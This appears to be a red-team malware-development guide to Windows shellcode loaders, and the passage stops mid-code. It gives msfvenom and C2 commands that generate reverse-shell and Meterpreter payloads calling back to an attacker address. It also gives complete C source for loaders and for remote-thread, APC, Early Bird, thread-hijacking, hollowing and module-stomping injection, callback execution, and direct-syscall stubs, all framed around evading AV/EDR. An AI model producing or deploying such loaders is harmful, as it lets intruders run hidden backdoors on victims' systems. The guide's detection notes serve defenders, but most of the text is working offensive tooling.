ᛉ Yggdrasil

Malware development

Shellcode Loaders

15 Sep 2026 · 10,873 words · 49 min

Contents

The definitive guide to shellcode loading techniques, injection methods, evasion strategies, and tooling for Red Team operations.

Legend: [WIN] = Windows API | [OPSEC] = Operational Security note | [EDR] = EDR Detection consideration | [DETECT] = Detection indicator | [INJECT] = Process Injection variant | [EVADE] = Evasion technique | [LANG] = Language/runtime | [CS] = Cobalt Strike compatible


1. What is a Shellcode Loader?

What it means: A shellcode loader is a program (or script) whose sole purpose is to load raw shellcode (position-independent machine code) into memory and transfer execution to it. The shellcode itself is the payload — typically a reverse shell, a C2 beacon (Cobalt Strike, Sliver, Havoc, etc.), or an injected DLL. The loader is the vehicle that gets the shellcode running while avoiding detection by AV/EDR.

┌─────────────────────────────────────────────────────────────────┐
│ SHELLCODE LOADER PIPELINE                                       │
│                                                                 │
│  [PAYLOAD]         [LOADER]              [EXECUTION]            │
│                                                                 │
│  Metasploit    →   Read/Decrypt     →   VirtualAlloc            │
│  Cobalt Strike     Decode/Deobfusc       WriteProcessMemory     │
│  Sliver            Fetch from URL        CreateThread           │
│  Havoc             Fetch from DNS        APC Queue              │
│  Custom            Fetch from SMB        Fiber                  │
│                    Embed in PE           Callback               │
│                    Embed in DLL          Syscall                │
│                                          Process Hollow         │
│                                                                 │
│  AV/EDR sees:  ← Obfuscated loader → ← Encrypted payload        │
│   "Benign"          "Benign"             "Encrypted blob"       │
└─────────────────────────────────────────────────────────────────┘

Why Loaders Matter

Approach AV/EDR Outcome
Drop raw shellcode as EXE Flagged immediately by static signatures
Obfuscated loader + encrypted payload Avoids static signatures
Loader with syscalls + process injection Avoids dynamic/behavioral hooks
In-memory loader via execute-assembly No file on disk at all

Shellcode Loader Goals

  1. Avoid static detection → encrypt/encode the shellcode blob
  2. Avoid dynamic detection → don't use suspicious Win32 API call sequences
  3. Avoid behavioral detection → inject into legitimate processes
  4. Avoid memory scanning → use RW→RX transitions, avoid RWX pages
  5. Avoid sandbox analysis → evasion sleeps, environment checks

2. Shellcode Basics & Generation

What it means: Shellcode is raw, position-independent machine code — a blob of bytes that can be copied anywhere in memory and executed directly. It contains no PE header, no imports table — it must resolve all Win32 API calls at runtime by walking the PEB (Process Environment Block) to find loaded DLLs.


2.1 Generating Shellcode — msfvenom

# x64 Windows reverse TCP shell (stageless)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f raw -o shell.bin

# x64 Windows Meterpreter (stageless)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f raw -o meter.bin

# Output as C byte array (embed directly in loader source)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f c -o shell.c

# Output as Python byte string
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f python -o shell.py

# Output as PowerShell byte array
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f ps1 -o shell.ps1

# Output as C# byte array
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f csharp -o shell.cs

# Apply encoder to obfuscate (avoid static sigs — weak, use your own crypto instead)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.100 LPORT=4444 \
  -e x64/xor_dynamic -i 5 -f raw -o encoded_shell.bin

# HTTPS payload (SSL C2 — avoids HTTP inspection)
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.10.10.100 LPORT=443 -f raw -o https_shell.bin

# Staged shellcode (small stub that calls back to download main payload)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f raw -o staged_shell.bin

2.2 Generating Shellcode — Cobalt Strike

# In Cobalt Strike:
# Attacks → Packages → Windows Executable (S) → select listener → Output: Raw
# Attacks → Packages → Windows Stager         → select listener → Output: Raw

# Via aggressor script:
artifact_payload("listenerName", "raw", "x64")

# CS shellcode artifacts are in: /tmp/artifact.bin (or wherever you saved)

2.3 Generating Shellcode — Sliver / Havoc / Brute Ratel

# Sliver C2 — generate shellcode
sliver > generate --mtls --lhost 10.10.10.100 --lport 4444 --format shellcode --os windows --arch amd64 --save /tmp/sliver.bin

# Havoc C2 — shellcode format (from GUI or API)
# Payload → Generate → Format: Shellcode → Arch: x64 → Save

# Brute Ratel C2
# Profile → Payload → Shellcode → x64 → Save

2.4 Inspecting Shellcode

# Check shellcode size and contents
xxd shell.bin | head -30
wc -c shell.bin

# Disassemble shellcode to verify it's correct
ndisasm -b 64 shell.bin | head -50

# Or use:
python3 -c "
import sys
data = open('shell.bin','rb').read()
print(f'[+] Size: {len(data)} bytes')
print('[+] First 16 bytes:', ' '.join(f'{b:02x}' for b in data[:16]))
"

# Convert to C array for embedding
python3 -c "
data = open('shell.bin','rb').read()
arr = ','.join(f'0x{b:02x}' for b in data)
print(f'unsigned char shellcode[] = {{ {arr} }};')
print(f'unsigned int shellcode_len = {len(data)};')
"

3. Classic Win32 API Loader — VirtualAlloc + CreateThread

What it means: The simplest and most well-known loader pattern. Allocate executable memory, copy shellcode in, then create a thread pointing at the shellcode. Highly detected by modern EDRs due to the VirtualAlloc(RWX) → CreateThread call pattern, but good baseline to understand.\ [DETECT] This exact sequence is flagged by virtually every AV/EDR. Never use it raw in production engagements without heavy obfuscation or technique substitution.


3.1 C — Basic VirtualAlloc + CreateThread

#include <windows.h>
#include <stdio.h>

// Shellcode placeholder — replace with real payload
unsigned char shellcode[] = {
    0x90, 0x90, 0x90, 0xC3  // NOP NOP NOP RET (placeholder!)
};
unsigned int shellcode_len = sizeof(shellcode);

int main(void) {
    // 1. Allocate RWX memory (READ + WRITE + EXECUTE)
    // [DETECT] VirtualAlloc with PAGE_EXECUTE_READWRITE = huge red flag
    LPVOID mem = VirtualAlloc(
        NULL,                    // Let OS choose address
        shellcode_len,           // Size
        MEM_COMMIT | MEM_RESERVE,// Commit + Reserve
        PAGE_EXECUTE_READWRITE   // RWX — writable + executable (bad opsec!)
    );

    if (!mem) {
        printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
        return 1;
    }

    // 2. Copy shellcode into allocated memory
    memcpy(mem, shellcode, shellcode_len);

    // 3. Create thread at shellcode address
    HANDLE hThread = CreateThread(
        NULL,     // Default security attributes
        0,        // Default stack size
        (LPTHREAD_START_ROUTINE)mem,  // Thread start = shellcode
        NULL,     // No parameter
        0,        // Start immediately
        NULL      // Don't need thread ID
    );

    if (!hThread) {
        printf("[-] CreateThread failed: %lu\n", GetLastError());
        VirtualFree(mem, 0, MEM_RELEASE);
        return 1;
    }

    // 4. Wait for shellcode thread to complete (reverse shell will block here)
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    VirtualFree(mem, 0, MEM_RELEASE);
    return 0;
}
# Compile with MinGW (cross-compile from Linux):
x86_64-w64-mingw32-gcc loader.c -o loader.exe -mwindows  # GUI app (no console window)
x86_64-w64-mingw32-gcc loader.c -o loader.exe             # Console app

# Compile with MSVC (Windows):
cl.exe loader.c /Fe:loader.exe

3.2 Better Pattern — RW Alloc → Copy → VirtualProtect(RX) → Execute

[OPSEC] Allocating RWX is a major detection signal. Instead: allocate RW, copy shellcode, then change to RX (no-write) before executing. This avoids the RWX page which EDRs look for.

#include <windows.h>

unsigned char shellcode[] = { /* your encrypted shellcode */ };
unsigned int  shellcode_len = sizeof(shellcode);

int main(void) {
    // Step 1: Allocate READ+WRITE only (NOT executable yet)
    LPVOID mem = VirtualAlloc(
        NULL, shellcode_len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE            // RW only — not yet executable
    );

    // Step 2: Copy (and optionally decrypt) shellcode into RW memory
    // XOR decrypt example:
    char key = 0x41;
    for (unsigned int i = 0; i < shellcode_len; i++) {
        ((unsigned char*)mem)[i] = shellcode[i] ^ key;
    }

    // Step 3: Change memory permissions to READ+EXECUTE (no write!)
    DWORD oldProtect;
    VirtualProtect(mem, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);

    // Step 4: Execute via function pointer (avoids CreateThread signature)
    void (*exec)() = (void(*)())mem;
    exec();   // Call shellcode directly — simpler, but still detected

    VirtualFree(mem, 0, MEM_RELEASE);
    return 0;
}

4. Process Injection Techniques

What it means: Instead of running shellcode inside your own loader process (which may be suspicious), inject it into a legitimate, already-running process (explorer.exe, svchost.exe, notepad.exe, etc.). The shellcode runs under the identity and network context of that host process — much harder to attribute and easier to hide.


4.1 Remote Thread Injection (Classic)

Target: A remote process (explorer.exe, svchost.exe, etc.) [DETECT] OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread = well-known injection signature.

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Find PID of target process by name
DWORD GetPID(const char* procName) {
    DWORD pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
    while (Process32Next(hSnap, &pe32)) {
        if (_stricmp(pe32.szExeFile, procName) == 0) {
            pid = pe32.th32ProcessID;
            break;
        }
    }
    CloseHandle(hSnap);
    return pid;
}

int main(void) {
    unsigned char shellcode[] = { /* your shellcode here */ };
    size_t shellcode_len = sizeof(shellcode);

    // 1. Find target PID
    DWORD pid = GetPID("explorer.exe");
    if (!pid) { printf("[-] explorer.exe not found\n"); return 1; }
    printf("[+] Target PID: %lu\n", pid);

    // 2. Open target process
    HANDLE hProc = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
        FALSE, pid
    );
    if (!hProc) { printf("[-] OpenProcess failed\n"); return 1; }

    // 3. Allocate memory in remote process (RW first)
    LPVOID remoteMem = VirtualAllocEx(
        hProc, NULL, shellcode_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );

    // 4. Write shellcode into remote process
    SIZE_T written;
    WriteProcessMemory(hProc, remoteMem, shellcode, shellcode_len, &written);

    // 5. Change permissions to RX in remote process
    DWORD oldProt;
    VirtualProtectEx(hProc, remoteMem, shellcode_len, PAGE_EXECUTE_READ, &oldProt);

    // 6. Create remote thread at shellcode address
    HANDLE hThread = CreateRemoteThread(
        hProc, NULL, 0,
        (LPTHREAD_START_ROUTINE)remoteMem,
        NULL, 0, NULL
    );

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProc);
    return 0;
}

4.2 APC Queue Injection (Asynchronous Procedure Call)

What it means: Instead of creating a new thread (noisy), queue an APC (Asynchronous Procedure Call) to an existing thread in the target process. The APC executes when the thread enters an "alertable wait state" (e.g., SleepEx, WaitForSingleObjectEx). APC injection into an alertable thread is stealthier because no new thread is created. [OPSEC] Works best against processes with alertable threads. Unreliable if target has no alertable threads.

#include <windows.h>
#include <tlhelp32.h>

// Get thread IDs of a target process
DWORD GetAlertableThread(DWORD pid) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    DWORD tid = 0;
    while (Thread32Next(hSnap, &te)) {
        if (te.th32OwnerProcessID == pid) {
            tid = te.th32ThreadID;  // Take first thread found
            break;
        }
    }
    CloseHandle(hSnap);
    return tid;
}

int main(void) {
    unsigned char shellcode[] = { /* your shellcode */ };
    size_t sc_len = sizeof(shellcode);

    DWORD pid = 1234;  // Target PID (use GetPID from above)

    // 1. Open target process + thread
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    DWORD tid = GetAlertableThread(pid);
    HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);

    // 2. Allocate + write shellcode in remote process
    LPVOID remoteMem = VirtualAllocEx(hProc, NULL, sc_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    SIZE_T written;
    WriteProcessMemory(hProc, remoteMem, shellcode, sc_len, &written);

    // 3. Queue APC to the target thread
    // APC fires when the thread calls SleepEx / WaitForSingleObjectEx etc.
    QueueUserAPC(
        (PAPCFUNC)remoteMem,   // APC routine = shellcode address
        hThread,               // Target thread
        0                      // APC argument (shellcode ignores this)
    );

    CloseHandle(hThread);
    CloseHandle(hProc);
    return 0;
}

4.3 Early Bird APC Injection

What it means: Create a new process in SUSPENDED state, inject shellcode before the process even starts executing, then queue an APC so shellcode runs when the process resumes. Very stealthy because the shellcode executes before any user-mode code in the target.

#include <windows.h>
#include <stdio.h>

int main(void) {
    unsigned char shellcode[] = { /* your shellcode */ };
    size_t sc_len = sizeof(shellcode);

    // 1. Create process in SUSPENDED state
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    CreateProcessA(
        "C:\\Windows\\System32\\svchost.exe",   // Target binary
        NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED,                        // KEY: suspended!
        NULL, NULL, &si, &pi
    );

    // 2. Allocate memory in the new (suspended) process
    LPVOID remoteMem = VirtualAllocEx(pi.hProcess, NULL, sc_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 3. Write shellcode
    SIZE_T written;
    WriteProcessMemory(pi.hProcess, remoteMem, shellcode, sc_len, &written);

    // 4. Change to RX
    DWORD oldProt;
    VirtualProtectEx(pi.hProcess, remoteMem, sc_len, PAGE_EXECUTE_READ, &oldProt);

    // 5. Queue APC to the main thread (which is still suspended)
    QueueUserAPC((PAPCFUNC)remoteMem, pi.hThread, 0);

    // 6. Resume — shellcode runs before any of svchost's code!
    ResumeThread(pi.hThread);

    WaitForSingleObject(pi.hThread, INFINITE);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

4.4 Thread Hijacking (Suspend → Set Context → Resume)

What it means: Suspend an existing thread, save its registers, overwrite RIP (instruction pointer) to point at shellcode, then resume. The thread continues from your shellcode instead of where it was. [OPSEC] Risky — suspending and resuming threads can crash the target process if done carelessly. Best against single-threaded idle processes.

#include <windows.h>
#include <tlhelp32.h>

int main(void) {
    unsigned char shellcode[] = { /* shellcode */ };
    size_t sc_len = sizeof(shellcode);
    DWORD pid = 4321;  // target PID

    // 1. Find a thread in target process
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    DWORD tid = 0;
    while (Thread32Next(hSnap, &te)) {
        if (te.th32OwnerProcessID == pid) { tid = te.th32ThreadID; break; }
    }
    CloseHandle(hSnap);

    // 2. Open process and thread
    HANDLE hProc   = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);

    // 3. Suspend target thread
    SuspendThread(hThread);

    // 4. Write shellcode into target process
    LPVOID mem = VirtualAllocEx(hProc, NULL, sc_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    SIZE_T written;
    WriteProcessMemory(hProc, mem, shellcode, sc_len, &written);

    // 5. Get thread context, overwrite RIP with shellcode address
    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThread, &ctx);
    ctx.Rip = (DWORD64)mem;   // x64: Rip = instruction pointer
    SetThreadContext(hThread, &ctx);

    // 6. Resume thread — now it executes our shellcode!
    ResumeThread(hThread);

    CloseHandle(hThread);
    CloseHandle(hProc);
    return 0;
}

4.5 Process Hollowing

What it means: Create a legitimate process in suspended state, unmap its original code from memory, then write your shellcode/PE at the same base address. When you resume the process, it executes your code while looking like the original process (same name, PID, etc.). [DETECT] EDRs monitor for NtUnmapViewOfSection followed by WriteProcessMemory into the primary image base.

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

// Requires: NtUnmapViewOfSection from ntdll
typedef NTSTATUS(WINAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

int main(void) {
    // The "hollow" PE payload (your beacon/shellcode as a PE file)
    // Load from disk or embedded as byte array
    HANDLE hFile = CreateFileA("C:\\Temp\\payload.exe",
        GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
    DWORD fileSize = GetFileSize(hFile, NULL);
    BYTE* payloadBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize);
    DWORD bytesRead;
    ReadFile(hFile, payloadBuf, fileSize, &bytesRead, NULL);
    CloseHandle(hFile);

    // 1. Spawn sacrificial process (suspended)
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    CreateProcessA("C:\\Windows\\System32\\svchost.exe",
        NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    // 2. Get thread context (find base image address via EBX/RBX)
    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);

    // 3. Read PEB to find image base
    PVOID imageBase;
    ReadProcessMemory(pi.hProcess,
        (PVOID)(ctx.Rdx + 0x10),  // PEB->ImageBaseAddress offset
        &imageBase, sizeof(PVOID), NULL);

    // 4. Unmap victim's original image
    pNtUnmapViewOfSection NtUnmap = (pNtUnmapViewOfSection)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
    NtUnmap(pi.hProcess, imageBase);

    // 5. Parse payload PE headers
    PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)payloadBuf;
    PIMAGE_NT_HEADERS ntHdr  = (PIMAGE_NT_HEADERS)(payloadBuf + dosHdr->e_lfanew);
    DWORD64 preferredBase    = ntHdr->OptionalHeader.ImageBase;
    DWORD   imageSize        = ntHdr->OptionalHeader.SizeOfImage;

    // 6. Allocate space in victim at same base
    LPVOID newBase = VirtualAllocEx(pi.hProcess, (LPVOID)preferredBase,
        imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 7. Write PE headers + sections
    WriteProcessMemory(pi.hProcess, newBase, payloadBuf,
        ntHdr->OptionalHeader.SizeOfHeaders, NULL);

    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHdr);
    for (int i = 0; i < ntHdr->FileHeader.NumberOfSections; i++) {
        WriteProcessMemory(pi.hProcess,
            (PVOID)((DWORD64)newBase + section[i].VirtualAddress),
            payloadBuf + section[i].PointerToRawData,
            section[i].SizeOfRawData, NULL);
    }

    // 8. Fix RCX (entry point in new process context)
    ctx.Rcx = (DWORD64)newBase + ntHdr->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(pi.hThread, &ctx);

    // 9. Resume — payload now running inside svchost.exe!
    ResumeThread(pi.hThread);

    HeapFree(GetProcessHeap(), 0, payloadBuf);
    return 0;
}

4.6 Module Stomping / DLL Stomping

What it means: Load a legitimate DLL into the target process, then overwrite its .text section with shellcode. The memory page was originally allocated and backed by a legitimate file on disk — so memory scanners that check backing files see a legitimate DLL, not anonymous shellcode.\ [OPSEC] Very effective against memory forensics. Choose a DLL that is rarely scanned or called.

#include <windows.h>
#include <stdio.h>

int main(void) {
    unsigned char shellcode[] = { /* shellcode here */ };
    size_t sc_len = sizeof(shellcode);

    // 1. Load a "sacrificial" DLL into current process
    // Choose a DLL that is:
    //   a) Legitimate and signed (less suspicious)
    //   b) Has a .text section large enough for your shellcode
    //   c) Is not actively called (won't crash when overwritten)
    HMODULE hMod = LoadLibraryA("xpsservices.dll");  // Example: rarely used DLL
    if (!hMod) { printf("[-] LoadLibrary failed\n"); return 1; }

    // 2. Find the .text section of the loaded DLL
    PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)hMod;
    PIMAGE_NT_HEADERS ntHdr  = (PIMAGE_NT_HEADERS)((BYTE*)hMod + dosHdr->e_lfanew);
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHdr);

    BYTE* textBase = NULL;
    DWORD textSize = 0;
    for (int i = 0; i < ntHdr->FileHeader.NumberOfSections; i++) {
        if (strncmp((char*)section[i].Name, ".text", 5) == 0) {
            textBase = (BYTE*)hMod + section[i].VirtualAddress;
            textSize = section[i].Misc.VirtualSize;
            break;
        }
    }

    if (!textBase || textSize < sc_len) {
        printf("[-] .text section too small or not found\n");
        return 1;
    }

    // 3. Make the .text section writable
    DWORD oldProt;
    VirtualProtect(textBase, sc_len, PAGE_EXECUTE_READWRITE, &oldProt);

    // 4. Copy shellcode over the DLL's .text section
    memcpy(textBase, shellcode, sc_len);

    // 5. Restore permissions (RX — no write)
    VirtualProtect(textBase, sc_len, PAGE_EXECUTE_READ, &oldProt);

    // 6. Execute shellcode (now backed by DLL memory!)
    void (*exec)() = (void(*)())textBase;
    exec();

    return 0;
}

5. Indirect / Stealthy Execution Techniques

What it means: Creating threads directly is noisy. These techniques execute shellcode through legitimate Windows mechanisms — fibers, callback functions, thread pools — that are much less commonly monitored.


5.1 Fiber-Based Execution

What it means: Fibers are user-mode cooperative threads. Converting a thread to a fiber and creating a new fiber that points to shellcode avoids CreateThread entirely. No new thread appears in task manager or thread lists.

#include <windows.h>

unsigned char shellcode[] = { /* shellcode */ };

int main(void) {
    LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(mem, shellcode, sizeof(shellcode));

    DWORD oldProt;
    VirtualProtect(mem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProt);

    // Convert current thread to a fiber
    LPVOID mainFiber = ConvertThreadToFiber(NULL);

    // Create a new fiber pointing at the shellcode
    LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)mem, NULL);

    // Switch execution to the shellcode fiber
    SwitchToFiber(shellFiber);

    // Execution returns here after shellcode finishes (if it does)
    DeleteFiber(shellFiber);
    return 0;
}

5.2 Callback-Based Execution (No CreateThread!)

What it means: Many Win32 API functions accept callbacks — function pointers that they call internally. By passing a shellcode pointer as a callback, you execute shellcode through a legitimate API call, with no CreateThread or CreateRemoteThread in sight.

#include <windows.h>

unsigned char shellcode[] = { /* shellcode */ };

int main(void) {
    // Allocate RW → copy → change to RX
    LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(mem, shellcode, sizeof(shellcode));
    DWORD oldProt;
    VirtualProtect(mem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProt);

    // ─────────────────────────────────────────────────────────────────
    // METHOD A: EnumWindows callback
    // EnumWindows calls your callback for every window — shellcode runs!
    EnumWindows((WNDENUMPROC)mem, 0);

    // METHOD B: EnumDesktopWindows
    // EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()), (WNDENUMPROC)mem, 0);

    // METHOD C: EnumChildWindows
    // EnumChildWindows(NULL, (WNDENUMPROC)mem, 0);

    // METHOD D: EnumSystemLocalesA
    // EnumSystemLocalesA((LOCALE_ENUMPROCA)mem, 0);

    // METHOD E: EnumTimeFormatsA
    // EnumTimeFormatsA((TIMEFMT_ENUMPROCA)mem, LOCALE_SYSTEM_DEFAULT, 0);

    // METHOD F: CreateTimerQueueTimer (timer callback — delayed execution!)
    // HANDLE hQueue  = CreateTimerQueue();
    // HANDLE hTimer;
    // CreateTimerQueueTimer(&hTimer, hQueue, (WAITORTIMERCALLBACK)mem,
    //     NULL, 1000, 0, WT_EXECUTEONLYONCE);  // 1 second delay → runs once

    // METHOD G: FlsAlloc (Fiber Local Storage callback on thread exit)
    // FlsAlloc((PFLS_CALLBACK_FUNCTION)mem);
    // ExitThread(0);  // trigger the FLS callback

    // METHOD H: SetWindowsHookExA (executed on next message)
    // SetWindowsHookExA(WH_CBT, (HOOKPROC)mem, 0, GetCurrentThreadId());
    // SendMessage(HWND_BROADCAST, WM_NULL, 0, 0);

    return 0;
}

5.3 Thread Pool Execution — TpAllocWork

What it means: Use the Windows Thread Pool API to queue shellcode as a "work item." The thread pool executes it in a legitimate pool worker thread context.

#include <windows.h>

// ntdll function types for thread pool
typedef NTSTATUS (NTAPI *NtCreateThreadEx_t)(
    PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);

unsigned char shellcode[] = { /* shellcode */ };

// TpAllocWork via ntdll (avoids CreateThread entirely!)
typedef void* PTP_WORK;
typedef void (*PTP_WORK_CALLBACK)(PTP_CALLBACK_INSTANCE, void*, PTP_WORK);
typedef NTSTATUS (NTAPI* TpAllocWork_t)(PTP_WORK*, PTP_WORK_CALLBACK, void*, void*);
typedef void (NTAPI* TpPostWork_t)(PTP_WORK);
typedef void (NTAPI* TpReleaseWork_t)(PTP_WORK);

int main(void) {
    LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(mem, shellcode, sizeof(shellcode));
    DWORD old;
    VirtualProtect(mem, sizeof(shellcode), PAGE_EXECUTE_READ, &old);

    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    TpAllocWork_t  TpAllocWork  = (TpAllocWork_t) GetProcAddress(ntdll, "TpAllocWork");
    TpPostWork_t   TpPostWork   = (TpPostWork_t)  GetProcAddress(ntdll, "TpPostWork");
    TpReleaseWork_t TpReleaseWork = (TpReleaseWork_t)GetProcAddress(ntdll, "TpReleaseWork");

    PTP_WORK work = NULL;
    TpAllocWork(&work, (PTP_WORK_CALLBACK)mem, NULL, NULL);
    TpPostWork(work);   // Queue shellcode as work item
    TpReleaseWork(work);

    Sleep(5000);  // Wait for thread pool to execute it
    return 0;
}

6. Syscall-Based Loaders (Bypassing EDR Hooks)

What it means: Modern EDRs hook Win32 API functions (especially in ntdll.dll) to intercept calls like NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx, etc. By calling the underlying kernel syscalls directly (bypassing ntdll), your loader is invisible to usermode EDR hooks.

WITHOUT SYSCALL BYPASS:
Loader → VirtualAlloc → kernel32 → ntdll.NtAllocateVirtualMemory → [EDR HOOK HERE!] → kernel

WITH DIRECT SYSCALL:
Loader → [manual syscall stub] → kernel       ← EDR never sees it!

6.1 Direct Syscalls — Manual Assembly Stub

What it means: Write assembly stubs that directly issue syscall instructions with the correct syscall numbers, bypassing ntdll entirely.

// syscalls.asm (MASM / NASM)
// Syscall numbers change per Windows version! Use SysWhispers2/3 to generate correct stubs.

; NtAllocateVirtualMemory syscall stub (Windows 10 21H2 example — number WILL vary!)
NtAllocateVirtualMemory PROC
    mov r10, rcx          ; Windows x64 calling convention
    mov eax, 0x18         ; Syscall number for NtAllocateVirtualMemory (VARIES PER BUILD!)
    syscall               ; Jump directly to kernel
    ret
NtAllocateVirtualMemory ENDP

NtWriteVirtualMemory PROC
    mov r10, rcx
    mov eax, 0x3A         ; NtWriteVirtualMemory syscall number (VARIES!)
    syscall
    ret
NtWriteVirtualMemory ENDP

NtCreateThreadEx PROC
    mov r10, rcx
    mov eax, 0xC2         ; NtCreateThreadEx syscall number (VARIES!)
    syscall
    ret
NtCreateThreadEx ENDP
// loader using direct syscall stubs
#include <windows.h>
#include <winternl.h>

// Declarations (implemented in assembly stubs above)
extern NTSTATUS NtAllocateVirtualMemory(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
extern NTSTATUS NtWriteVirtualMemory(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
extern NTSTATUS NtProtectVirtualMemory(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
extern NTSTATUS NtCreateThreadEx(PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID,
    ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);

unsigned char shellcode[] = { /* encrypted shellcode */ };

int main(void) {
    HANDLE hProc = GetCurrentProcess();
    PVOID baseAddr = NULL;
    SIZE_T sc_len = sizeof(shellcode);

    // 1. Allocate via direct syscall (bypasses EDR hook on VirtualAlloc!)
    NtAllocateVirtualMemory(hProc, &baseAddr, 0, &sc_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 2. Write shellcode via direct syscall
    SIZE_T written;
    NtWriteVirtualMemory(hProc, baseAddr, shellcode, sizeof(shellcode), &written);

    // 3. Protect: change to RX
    PVOID protBase = baseAddr;
    SIZE_T protSize = sizeof(shellcode);
    ULONG oldProt;
    NtProtectVirtualMemory(hProc, &protBase, &protSize, PAGE_EXECUTE_READ, &oldProt);

    // 4. Create thread via direct syscall
    HANDLE hThread;
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc,
        baseAddr, NULL, 0, 0, 0, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

6.2 SysWhispers2 / SysWhispers3 — Automated Syscall Generation

What it means: SysWhispers2/3 automatically generates C header files and assembly stubs for all NT syscalls on any target Windows version. It handles syscall number resolution at runtime.

# Install SysWhispers2
git clone https://github.com/jthuraisamy/SysWhispers2
cd SysWhispers2
pip3 install -r requirements.txt

# Generate stubs for specific functions (MASM output)
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx,NtOpenProcess --output syscalls

# Generates:
#   syscalls.h         → C function declarations
#   syscallsstubs.asm  → MASM assembly stubs

# SysWhispers3 (newer — supports x86/WoW64, and inline assembly)
git clone https://github.com/klezVirus/SysWhispers3
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx --output syscalls3 --arch x64
// Usage in loader (after including SysWhispers-generated files):
#include "syscalls.h"

unsigned char shellcode[] = { /* your shellcode */ };

int main(void) {
    HANDLE hProc = NtCurrentProcess();
    PVOID baseAddr = NULL;
    SIZE_T sc_len = sizeof(shellcode);

